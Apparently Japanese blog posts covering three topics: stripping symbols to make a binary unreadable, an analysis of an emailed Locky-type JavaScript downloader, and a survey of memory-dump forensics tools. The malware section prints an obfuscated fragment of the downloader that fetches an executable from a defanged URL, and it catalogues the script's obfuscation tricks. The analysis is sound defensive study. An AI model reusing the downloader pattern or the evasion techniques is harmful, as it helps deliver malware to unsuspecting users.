<     43: 00000000006006f0     0 NOTYPE  LOCAL  DEFAULT   19 __init_array_end
<     44: 0000000000600700     0 OBJECT  LOCAL  DEFAULT   22 _DYNAMIC
<     45: 00000000006006e8     0 NOTYPE  LOCAL  DEFAULT   19 __init_array_start
<     46: 00000000004005bc     0 NOTYPE  LOCAL  DEFAULT   17 __GNU_EH_FRAME_HDR
<     47: 00000000006008d8     0 OBJECT  LOCAL  DEFAULT   24 _GLOBAL_OFFSET_TABLE_
<     48: 00000000004005a0     2 FUNC    GLOBAL DEFAULT   14 __libc_csu_fini
<     49: 0000000000000000     0 NOTYPE  WEAK   DEFAULT  UND _ITM_deregisterTMCloneTab
<     50: 0000000000600900     0 NOTYPE  WEAK   DEFAULT   25 data_start
<     51: 0000000000600910     0 NOTYPE  GLOBAL DEFAULT   25 _edata
<     52: 00000000004005a4     0 FUNC    GLOBAL DEFAULT   15 _fini
<     53: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND __libc_start_main@@GLIBC_
<     54: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND execve@@GLIBC_2.2.5
<     55: 0000000000600900     0 NOTYPE  GLOBAL DEFAULT   25 __data_start
<     56: 0000000000000000     0 NOTYPE  WEAK   DEFAULT  UND __gmon_start__
<     57: 0000000000600908     0 OBJECT  GLOBAL HIDDEN    25 __dso_handle
<     58: 00000000004005b0     4 OBJECT  GLOBAL DEFAULT   16 _IO_stdin_used
<     59: 0000000000400530   101 FUNC    GLOBAL DEFAULT   14 __libc_csu_init
<     60: 0000000000600918     0 NOTYPE  GLOBAL DEFAULT   26 _end
<     61: 00000000004003f0    42 FUNC    GLOBAL DEFAULT   14 _start
<     62: 0000000000600910     0 NOTYPE  GLOBAL DEFAULT   26 __bss_start
<     63: 00000000004004e6    68 FUNC    GLOBAL DEFAULT   14 main
<     64: 0000000000000000     0 NOTYPE  WEAK   DEFAULT  UND _Jv_RegisterClasses
<     65: 0000000000600910     0 OBJECT  GLOBAL HIDDEN    25 __TMC_END__
<     66: 0000000000000000     0 NOTYPE  WEAK   DEFAULT  UND _ITM_registerTMCloneTable
<     67: 0000000000400390     0 FUNC    GLOBAL DEFAULT   11 _init

サイズは明らかに減っているし,.symtabシンボル情報が消されているようだ.しかし,関数名は消えない.
なんでだろうと思って,知り合いに聞いてみたらあっさり答えが返ってきた.
それによると,execveなどのライブラリ関数は./id外の共有ライブラリに実体がある../idが共有ライブラリの関数を使う場合,プログラム起動時に関数名などのシンボル名を使ってアドレス解決をする.だから,共有ライブラリを使う限りシンボル名が残ってしまう.つまり,静的リンクでコンパイルすればシンボル名を消してもアドレス解決できるようになるということだった.
これがわかれば話は早い.

消し方

$ gcc -static -o id id.c
$ strip -strip-all ./id
$ r2 -c 'aa;pdf@main' ./id
[x] Analyze all flags starting with sym. and entry0 (aa)
fcns: 4
xref: 54
sect: 550756
code: 1139
covr: 0 %
/ (fcn) main 68
|           ; var int local_8h     @ rbp-0x8
|           ; var int local_10h    @ rbp-0x10
|           ; var int local_18h    @ rbp-0x18
|           ; var int local_20h    @ rbp-0x20
|           ; DATA XREF from 0x0040082d (main)
|           0x0040092e      55             push rbp
|           0x0040092f      4889e5         mov rbp, rsp
|           0x00400932      4883ec20       sub rsp, 0x20
|           0x00400936      48c745f00000.  mov qword [rbp - local_10h], 0
|           0x0040093e      48c745f80000.  mov qword [rbp - local_8h], 0
|           0x00400946      48c745e04477.  mov qword [rbp - local_20h], str._bin_id
|           0x0040094e      48c745e80000.  mov qword [rbp - local_18h], 0
|           0x00400956      488d55f0       lea rdx, [rbp - local_10h]
|           0x0040095a      488d45e0       lea rax, [rbp - local_20h]
|           0x0040095e      4889c6         mov rsi, rax
|           0x00400961      bf44774800     mov edi, str._bin_id        ; "/bin/id" @ 0x487744
|           0x00400966      e8450e0300     call fcn.004317b0           ; !!! 消えた !!!
|           0x0040096b      b800000000     mov eax, 0
|           0x00400970      c9             leave
\           0x00400971      c3             ret

というわけで読めなくなった.
読めないバイナリはこうやって作られるのだろう.

最後に

作成したバイナリは静的リンク時に共有ライブラリに含まれていたのであろう文字列が色々含まれて,本来のユーザ定義文字列が探しにくくなる.これはどうにかできないのだろうか.共有ライブラリを片っ端から--strip-allすればいいのだろうか.
次は消した情報を復元する方法を調べたい.情報提供募集中.

参考

ありがとう: 知人

ダウンローダ型のマルウェアを眺めてみた

この記事では本物のマルウェアを取り扱っています.この記事の検証などで問題が起こっても一切責任は取れないので,行う際は自己責任でお願いします.また,この記事では心無い人による悪用を避けるため,マルウェアの全文は記載しません.興味のある方はハッシュなどから辿ってください.

はじまり

最近ZIPRARが添付された請求書や求人(月額$3000-6000, 30万円以上)という本当なら魅力的なメールが来る.
このようなメールは「危険なので,絶対に添付ファイルを開かないでください」と簡単に言われているが,「本当に危険なのか」,「一体何故危険なのか」を知りたくなったので,ダウンロードして解析してみた.
攻撃側のメールの送り方は,特定のメンバに一斉送信されるアドレスをどこからか特定し,そこに対してそれぞれ異なる文面,送信元アドレス,内容,添付ファイルを送りつけてくる.まだ解析の数をこなしたわけではないからかどれも同じものを見てはいないが,それぞれを数種類用意しただけで簡単に組み合わせ総数は大きくなるから,フィルタとかでの対応は厄介そうだ. メール本文例は以下の通り.

hi ???(改変してある)

I have attached a revised spreadsheet contains inventory adjustments. Please check if it's correct
 

Regards,
Michael Ballard

employees_B3CF49.zipというZIPファイルが添付されている.
中には難読化が施された全く同じ内容のJavascriptファイルが3つ(なぜ3つも入っていたのかは不明).

$ unzip -l employees_B3CF49.zip
Archive:  employees_B3CF49.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
  1051941  2016-05-16 14:49   history 648819 - cpy (2).js
  1051941  2016-05-16 14:49   history 648819 - cpy.js
  1051941  2016-05-16 14:49   history 648819.js
---------                     -------
  3155823                     3 files

VirusTotalに投げると,お察しな内容だった.真っ赤.
Antivirus scan for 5e587e55c9a9c28c4ac5e7d0a6d43c8b7d988654a3f13b838d1e45226213596c at 2016-05-20 01:00:34 UTC - VirusTotal
TrendMicro, Kaspersky, Symantecの検知名はそれぞれ"JS_LOCKY.DLDUF", "Trojan-Downloader.JS.Agent.klw", "JS.Downloader".
Kasperskyがわかりやすい.拡張子.klwはわからない.
JS_LOCKY.DLDUF - Threat Encyclopedia - Trend Micro AU
によると,出現は2016/05/12で,つい最近. 届く添付ファイルはどれもこのように最近登録されたものばかり.

環境

Linux環境は内容・脅威の確認用,Windowsは被害用仮想マシン

$ uname -a
Linux poppycompass 4.5.0-1-ARCH #1 SMP PREEMPT Tue Mar 15 09:41:03 CET 2016 x86_64 GNU/Linux

解析手順

最初にLinuxのメーラから,問題の添付ファイルをダウンロード.大抵ZIPだから,
$ unzip -l employees_B3CF49.zip
で何が入っているかを確かめる.今までに確認したのは.js.wsfのみ.
感染する気満々で苦笑いした.
一通り難読化を解除して,何をしているのかを見たら,必要なところをコメントアウトなり書き換えるなりしてからWindowsの仮想環境に投げて実行.

内容

当たり前だけど,解析をするときは部屋を明るくして,ネットワークから隔離した仮想環境内で画面から離れてみてね.あと1時間に15分程度の休憩を挟むこと.もちろん守ったことがない.   上で挙げたhistory 648819.jsの最初から数行は以下のような感じ.

var place0 = false;
var DENMARK0 = "";
'/' * 1048574byte
var fromPath;
var VALIGN0 = "Cr"+"e"+"ateObject";
/*@cc_on /* Zg  */
  @if (@_win32 || @_win64)/* Zg  */
    //
CONNECTION /* Zg  */ = "W"+"S"+"c"+"ript";
place0 /* Zg  */= true;/* Zg  */
DENMARK0/* Zg  */ = /* Zg  */"MLH";/* Zg  */
fromPath =/* Zg  */ "R" + "esponseB"/* Zg  */ + "ydo".split('').reverse().join('');
Turkey = /* Zg  */(/* Zg  */"noitisop").split(''/* Zg  */).reverse(/* Zg  */).join('');
devel0 /* Zg  *//* Zg  */ =/* Zg  */ "eliFoTevaS".split(''/* Zg  */).reverse().join('');
Currency0 = "A"+"DODB";
DENMARK1 = "s" + "end";
Backspace = "ht"+"tp:"+"//e" + "xample" + "/" + "mal" + "ware.e" + "xe";
Backspace0 = "G\x45"+"T";
/* Zg  */ @end/* Zg  */
@*//* Zg  */
if (!(place0))
{
WScript.Echo("pizzxzzda");
WScript.Quit(1);
}
...(snip)...

URL部分は変えてある.
WScriptを利用してマルウェア本体をダウンロードし,起動させる. 解析したやつはどれもC:\Users\<user_name>\AppData\Local\Temp以下に起動させたいEXEファイル本体をダウンロード(ファイルパスは動的に実行ユーザに合わせたパスが生成),実行するタイプだった.
AppDataはデフォルトでは隠しフォルダとなっているため,普通には見えない.隠しフォルダが見えるようにするには,ファイルエクスプローラーを起動して,
整理 -> フォルダーと検索のオプション -> 開いたウィンドウの「表示」タブ -> 「隠しフォルダー,及び隠しドライブを表示する」 -> OK
で見えるようになる.
人が読める程度ではあるが,いくつか難読化が施されている.以下では見かけたテクニックを並べていく.

難読化テクニック

コメント

とりあえずどこにでも/* Zg */や/ EE Hz /`といったコメントを挟む.地味に読みにくい.
置換して消した.

関係のない命名規則

プログラムの内容と全く関係のない関数・変数名にする.命名規則DENMARKなどの地名やchristopherの人名,bbbbbbbbbbbbbbbbbの意味なしと多岐にわたる.
地名や人名は勉強になる.変数は文字列を格納して,その後いじらないことものが多かったから,そういうやつだけ格納した文字列に置換すると良い.

バイトの挿入

文字列GETを"G\x45T"と16進を挟む. 他のやつから想像するか,console.logすると良い.

分割

バイトの挿入と組み合わせて使われることが多い.send"s"+"en"+"d"とする.素直に書いて欲しい.

逆順

"sgnirtStnemnorivnEdnapxE".split('').reverse().join('')と読み手には逆に見えるように書く.

大量の無意味な文字

上の例であげたコードでは/が1048574byte書かれている.
Windowsのメモ帳とかで開いたなら苦労したと思う.Vimで開けばCtrl+Fとかで飛ばせる.

配列によるカムフラージュ

("@sdf3asdf ", "adfs3.", " R")+ "u" + ("x", "n")
と一見複雑は配列になっているが,意味があるのは,各()の一番最後の要素だけ.上の例だと,"Run"になる.割と悪質.

素直じゃない計算

aaa=2と書けば済むところをaaa=(4714-4712) * 1とする.これをif (aaa==2)と利用する.

wsfファイル

Windowsスクリプトファイル(wsf)形式になっているものもあるが,内容は<job><script language="JScript">...[".js"と同じ内容]...</script/></job>とJS版と変わらない.

コード全体の難読化

上のテクニックをひと通り使ったコードを改行なし,見かけ逆順になるようにして,eval(<value>);する. 解析にひと手間必要になる.

マルウェアの難読化

ダウンロードされるマルウェアをバイトデータを逆順にし,0xffなどでXORしたものもあった.

結論と対処法

怪しいメールに添付されているファイルは解凍まではして良いが,実行・開いては駄目だというのが今回の結論.
JavaScriptコード内で使われているWScriptはWindowsのデフォルトで有効になっているから,マルウェアをダブルクリックしてしまえば,相手の環境がWindos7,8,恐らく10であろうとマルウェア本体を落としてきて実行という目的を果たせる.
そもそもWScriptが実行できなければとりあえずこのタイプに関しては良いので,無効にすればとりあえず防止できる.
だからといって気軽に実行して良い理由にはならないので,ちゃんと仮想環境で実行すること.
WScriptの無効化は

1. コントロールパネルを開く
2. アプリケーションの追加と削除
3. 「Windowsファイル」タブ
4. 「アクセサリ」の「Windows Scripting Host」のチェックを外す.

もう少し過激な方法としては実行する本体プログラムのWSCRIPT.EXE, CSCRIPT.EXEを削除する.

終わりに

現実で攻撃してくる奴らがどんな方法をとっているかの勉強になった. 読み方がわからないほどえげつない難読化に出会わなかったのは少し残念.
今回は予備調査の段階でWindows向けのJavascriptとわかったから解析できた.
もし,$ unzip -lの段階でやばいと感じたり,手に負えないと思ったらすぐに解析を諦めることが個人的な解析の重要なところだと思う.
感染する力は強いが,そもそも.jsって書いてあるのにわざわざ開くやついるのか・・・?

参考

Symantec Security Response - Windows Scripting Host(WSH)を無効にする方法

スクリプトファイルの無効化方法 js&wsf拡張子のウイルス対策3つで感染攻撃回避 ( Windows ) - 無題な濃いログ - Yahoo!ブログ

メモリダンプについてのまとめ

このエントリで紹介したコマンドの一部は高確率でOSがクラッシュします.行う際は自己責任でお願いします.
マルウェア解析に使われるメモリダンプはどのように作成されるのかを調べたメモを書き残す.
結論として,Windowsはやり方が多い(設定をいじってからOSをクラッシュさせる,キーボードやスイッチから割り込みをかける,ツールを使う).Linuxgrub(RHELのみ)の設定をいじる,ツールを使うことで取得できる.macについてはほとんど調べていないが,一部ツールは対応していた.いずれの方法でもOSがクラッシュした時と同等の影響がある.
注意点としてはメモリダンプツールとして公開されているプログラムの一部に現在は使えなさそうなものもあった.調べるだけでやる気が尽きたので,具体的な使い方までは網羅できていない.

疑問

 近年のマルウェアは物理メモリにのみ存在し,電源が切れると一緒に本体も消えてしまうタイプがいる.高度なものになると,これに加えて自身をunlinkし,プロセス一覧から隠れる場合もあると聞いたことがある(専門ではないから,詳しくはわからない).
この場合,解析には感染したPCをネットワークから隔離した後すぐに電源を切らずに物理メモリの全内容をダンプする必要がある. これについて,以下の点を疑問に思い,調べてみることにした.

  • 一体どうやってダンプを取得するのか.
  • OSがクラッシュした時にダンプ(Linuxではコアファイル)が作成されるが,普段仕事しているOSが動かないのに,誰がダンプを作成しているのか.

メモリダンプについて

種類

  • 最小メモリダンプ
     最重要な情報のみ保存(Stopメッセージ・パラメータ,停止したスレッドのカーネルモード呼び出しの履歴など).障害発生時に実行されていたスレッドが直接の原因でないエラーは発見できないことがある.
  • カーネルメモリダンプ
     カーネルメモリのみの記録.ユーザプロセスの情報は記録しないため,カーネルで障害が起こっていない時は原因を究明できない.
  • 完全メモリダンプ
     システムメモリの全内容を記録.メモリダンプを取るなら,これが推奨されている.当然ながら,メモリサイズ以上の大きさ(メモリサイズ+各種情報)になるため,ストレージの空きに注意.
    今回は完全メモリダンプの取得に着目する.

フォーマット

メモリダンプのフォーマットは以下の通り.恐らく他にもあるが,ここでは解析ツールvolatilityでサポートしているものを挙げる.
- Raw linear sample (dd)
- Hibernation file (from Windows 7 and earlier)
- Crash dump file
- VirtualBox ELF64 core dump
- VMware saved state and snapshot files
- EWF format (E01)
- LiME (Linux Memory Extractor) format
- Mach-O file format
- QEMU virtual machine dumps
- Firewire
- HPAK (FDPro)

Windows

詳しいサイトが多数あるため,ここでは簡単に書く.詳しいことは参考サイトを確認すること.
どの方法でもブルースクリーンが発生するため,実験するときは重要なデータのセーブは必要.

Windows(7を想定)

  • 基本的な方法
    ・OSクラッシュ時に作成されるようにする
    ・手動による作成
     > NMIによる作成(キーボードなどが全く使えない時の最終手段)
     > キーボードによる作成
    詳しくは参考サイトを読むといいが,基本的な方法を簡単に書き残しておく.

1. スタートをクリック
2. 「コンピュータ」で右クリックし, 「プロパティ」を選択
3. 「システムのプロパティ」ウィンドウの詳細設定タブの一番下の「起動と回復」項目の「設定」をクリック
4. 「起動と回復」ウィンドウの「デバッグ情報の書き込み」でドロップダウンメニューから「完全メモリダンプ」を選択し,OKをクリック
5. 再起動

保存先は「デバッグ情報の書き込み」にある「ダンプファイル」で指定することができる.デフォルトは%SystemRoot%MEMORY.DMPに保存される. 詳しくは
技術/Windows/メモリダンプ取得方法メモ - Glamenv-Septzen.net
https://blogs.technet.microsoft.com/askcorejp/2014/08/10/339/
を参照.
前者はXPなどにも使える方法が書いてあり,後者のMicrosoftサポートは2014年の記事であるから,Windows8.1(2013)まで有効だと思う.どちらも多くのやり方が書いてある. 最初にも述べたが,どちらにせよブルースクリーンになることは確定なので,データの保存は重要.

Linux

実装で/dev/mem, /dev/kmemから読みだしているプログラムはカーネルの2.6系まででしか動作が保証されていない.これ以降は/dev/(k)memでアクセスできるアドレスが制限されている.
2.6系という区切りで動作が保証されているのは,2003年に2.6から3.0へカーネルのメジャーバージョンアップがあったからのようだ.
Security/Features - Ubuntu Wiki」には,Ubuntuの特色が書いてある.ここに/dev/mem protectionという項目がある.
現在のUbuntuでは/dev/(k)memからの完全メモリダンプ取得は望め無さそうだ.
この機構が適用されたのはBlackhat2009の発表(https://www.blackhat.com/presentations/bh-europe-09/Lineberry/BlackHat-Europe-2009-Lineberry-code-injection-via-dev-mem.pdf)にあるように,物理メモリにアクセスできるなら書き換えもできるよなってことのようだ.

/dev/(k)memを使っているツール群(ご利用は計画的に・・・)

実験した環境は4.5系だが,使うたびにOSがクラッシュした.こいつらの名前をきっと忘れない.

$ uname -r
4.5.0-1-ARCH

memdump

source: memdump 1.01-6, memdump_8c-source.html
$ sudo pacman -S memdump
でインストールできるやつ.
$ sudo memdump-kernel > test.dmp
でメモリダンプを作成できる.
ある程度ダンプできたところでクラッシュする.OSの実行しているコード部のコピーで競合かなんかが起きているのかな・・・

draugr

Google Code Archive - Long-term storage for Google Code Project Hosting.
pythonで実装されている.以上.

使えそうなやつ

/proc/kcoreから情報を取得するか,カーネルの機能を使うタイプが主流になっているようだ./proc/kcoreにはメモリ情報がELF形式で保存されている.64bitOSの場合,これのサイズが

$ ls -hl /proc/kcore
-r-------- 1 root root 128T Apr 22 23:11 /proc/kcore

と非常に大きい.これは64bitで取り扱える最大サイズを指しているらしい.ここからどうやって取得するのかがまだもやっとしている.情報募集中.
以下のツール群は調べるだけでやる気が尽きて,実際に試していないから,各ドキュメントをよく読んで欲しい.

LiME(Linux Memory Extractor)

https://github.com/504ensicsLabs/LiME
volatilityで推奨されているメモリダンプ作成ツールLinuxカーネルモジュールとして実装されている.
ネットワーク越しにダンプを作成することも可能なようだ.同じホスト上でダンプを作成するときはlocalhostとするだけ.

Pmem

Rekall Memory Forensic Framework
ダンプ解析ツールrekallが提供するメモリダンプツールLinux, Windows, Macすべてで使えるできる凄腕.
モジュールとしてロードすることで使えるようだ.

Grub(RedHat系のみ)

grub.confcrashkernel=auto を書くと良いらしい.
kcore, crach, yum install kexec-toolsで検索.

その他

memfetch

[lcamtuf.coredump.cx]
/proc/<pid>/mapsから情報を取得している.メモリ全体というよりはプロセスごとのメモリを取得できる.
GDBなら,

$ gdb
(gdb) attach <pid>
(gdb) gcore <output>.dmp
(gdb) detach
(gdb) quit

で同じようなことができそう.gdbコマンドで得られるのはコアファイルでELF形式.

仮想マシン

Qemu, XenVMwareVirtualboxなど,仮想マシン上なら完全なメモリダンプを取得することができるから楽ってどっかに書いてあった.

メモリダンプ解析ツール

現在簡単に使えそうなツールは以下の通り.

volatility

The Volatility Foundation - Open Source Memory Forensics
Blackhat2007で発表されたツール.ダンプ解析で万能そう.
公式サイトには最もよく使われているツールと書いてある.本当かどうかは知らない.これを入れておけば困ることはなさそうだ.
メモリダンプ取得機能提供していないから,LiMEを使ってくれと公式のドキュメントに書いてある.しかし,ソースの中にgetkcore.cとかいうプログラムがあったりする.これは/dev/kcoreから読み出す単純なプログラムなので,動きそう.提供しているじゃないかというツッコミは置いておく.

rakall

Rekall Memory Forensic Framework
前述のvolatilityから独立したプロジェクト. これはメモリダンプ取得機能を提供している.Pmemはこいつが提供する機能の一つ.
特徴はメモリダンプに関することを全て行えること.
プラグインで機能拡張が容易に行える柔軟仕様だが,それ故プラグインが多すぎるのが悩みらしい.
当然ながら,ソースコードvolatilityとかぶっている箇所が多い.

終わりに

様々なプログラムが乱立していて,混沌としていることがわかった.
ダンプを作成しているのは,カーネルっぽい.
メモリダンプ関係のプログラムを組むときにはカーネルについて調査すればもうちょい何か出てきそう.やる気が出たら実際にダンプを作成して,解析までやってみたい.Pmemでダンプ取得して,volatilityで解析なんてひねくれるのも一興か.
/proc/kcoreの使い方や,実装のもっと深いところでの取得方法についてはまだ調べ尽くせていない.この疑問を解消する日が来るようやる気が出るまで忘れないようにしたい.
rekalltools/linux/lmap/logtools/osx/MacPmem/Common/logging.cppにはエラーレベルによるログの出力が実装されている.聞いたことはあったが,実際に見たのは初めてで感動した.今後の実装で使ってみたい.

参考サイト

/dev/kcoreが大きすぎる理由: /proc/kcore is 131072.0 GB / Newbie Corner / Arch Linux Forums

Linuxメモリダンプ作成: Linuxでのメモリダンプの取得 - higefoxの公開メモ

メモリダンプの種類,取得・圧縮: 完全メモリダンプを設定する方法

MSによるメモリダンプの作成手引:メモリ ダンプ ファイルを生成する方法について | Ask CORE

ダンプ取得ツール一覧: Top 8 Tools For Linux / Unix Memory Forensics Analysis